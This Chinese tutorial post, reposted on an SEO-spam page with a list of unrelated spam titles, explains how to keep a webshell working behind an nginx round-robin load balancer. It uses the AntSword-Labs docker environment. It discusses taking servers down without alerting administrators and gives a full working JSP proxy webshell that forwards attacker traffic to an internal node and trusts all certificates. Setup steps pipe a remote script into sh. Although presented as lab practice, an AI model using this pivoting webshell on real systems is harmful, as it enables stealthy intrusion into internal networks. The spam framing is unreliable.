当前位置: 首页 > news >正文

常德网站建设wynet123seo智能优化系统

常德网站建设wynet123,seo智能优化系统,学生个人网页制作 效果图,免费做公众号的网站目录 一、负载均衡反向代理下上传webshell Ⅰ、环境搭建 ①下载蚁剑,于github获取官方版: ②下载docker&docker-compose ③结合前面启动环境 ④验证 负载均衡下webshell上传 一、负载均衡反向代理下上传webshell 什么是反向代理? 通常的代…

目录

一、负载均衡反向代理下上传webshell

Ⅰ、环境搭建

①下载蚁剑,于github获取官方版:

②下载docker&docker-compose

③结合前面启动环境

 ④验证

负载均衡下webshell上传


一、负载均衡反向代理下上传webshell

什么是反向代理?

        通常的代理服务器,只用于代理内部网络对Internet的连接请求,客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送 到代理服务器中。当一个代理服务器能够代理外部网络上的主机,访问内部网络时,这种代理服务的方式称为反向代理服务。

什么是负载均衡?

        负载均衡用于从“upstream”模块定义的后端服务器列表中选取一台服务器接受用户的请求;即把请求均匀的分摊给上游的应用服务器。最基本的配置方式便是轮询:

负载均衡策略

策略

轮询

根据请求顺序分配

weight

根据权重大小分配

ip_hash

根据ip分配

least_conn

根据(最小)连接数分配

fair(第三方)

根据响应时间分配

url_hash(第三方)

依据URL分配

Ⅰ、环境搭建

①下载蚁剑,于github获取官方版:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests

②下载docker&docker-compose

方式一
//安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖
yum install -y yum-utils device-mapper-persistent-data lvm2
//设置yum源
yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo//中央仓库
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo//阿里云仓库
//安装
yum -y install docker-ce.x86_64

【按照这个搞最后我是启动环境的时候出问题了,经过参考高手有了方式二】

方式二
//在 Linux上 安装 Docker
curl -sSL https://get.daocloud.io/docker | sh
//安装 Docker Compose
curl -L https://get.daocloud.io/docker/compose/releases/download/v2.16.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
//给予执行权限
chmod +x /usr/local/bin/docker-compose
//启动docker服务
systemctl start docker

③结合前面启动环境

//我的蚁剑放在/root下的
cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp
//启动环境
docker-compose up -d

//查看端口
docker ps -a

 ④验证

【访问0.0.0.0:18080 (外部无法直接访问,环境搭建成功)】

目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。

用shell尝试连接:

负载均衡下webshell上传

难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二:无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,,,,

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,以缩小流量转发范围。但是第一:这种方法极大可能会被对方管理员察觉;第二:有可能造成公司的财产损失(测试时使用无所谓)。

方法二:判断是否执行

既然无法预测下一次是哪台机器去执行,那可以让 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

echo $MYIP

方法三: 在Web 层做一次 HTTP 流量转发(优点:低权限可用,仅影响webshell的请求。缺点:需要LBSNode1和LBSNode2之间能够通讯)

虽然,无法用 AntSword 直接访问 LBSNode1 的 8080 端口,但是除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 LBSNode1 这台机器的 8080 端口的。

我们通过Nginx直接访问LBSNode1,然后把请求发给LBSNode2;LBSNode2 上面的 /antproxy.jsp 把请求重组之后,传给了LBSNode1 的 /ant.jsp

将http://192.168.179.129:18080/antproxy.jsp作为url地址

/antproxy.jsp的代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.19.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

多用蚁剑上传几次,创建时多创建几次(因为蚁剑本身有点小问题)

http://www.15wanjia.com/news/9510.html

相关文章:

  • win7做本地网站电工培训学校
  • 泰州网站建设公司seo国外推广软件
  • 破解织梦做的网站长沙优化科技有限公司正规吗
  • 公司禁用网站怎么做百度帐号个人中心
  • 做网站需要的语言国内新闻
  • wordpress调用文章内容标签湖南优化推广
  • 小说网站建设目的什么是seo推广
  • 网站 建设需国际军事最新头条新闻
  • 寻找网站建设推广杭州网站推广与优化
  • 做建筑材料的网站有哪些重庆seo论坛
  • 石家庄网站制作武汉打开一个网站
  • 供应链网站制作注册网站需要多少钱?
  • 上海做网站搜索一下马来西亚的网络营销专业好就业吗
  • ASP做旅游网站代码三只松鼠网络营销策略
  • 网站建设免备案免费空间南京seo网站管理
  • 温州网站建设温州网站制作一键优化大师下载
  • 什么是品牌vi设计江门seo外包公司
  • centos7系统做网站网站备案
  • 个人做二次元网站怎么赚钱如何做推广
  • 学校诗歌网站建设推广费用一般多少钱
  • 外贸网站论文seo技术网网
  • 苏州网站建设品牌韶山百度seo
  • 网站建设中跳转页面源码竞价是什么意思
  • 深圳网站建设公司pestl分析软件培训机构有哪些?哪个比较好
  • 房地产网站素材重庆官网seo分析
  • 中山做展示型网站seo网站推广的主要目的
  • 建站时候源码有验证怎么办郑州seo推广优化
  • 网站设计公司市场容量网站建设培训机构
  • phpcmsv9手机网站源码最新的销售平台
  • 站长之家ping检测免费网页制作平台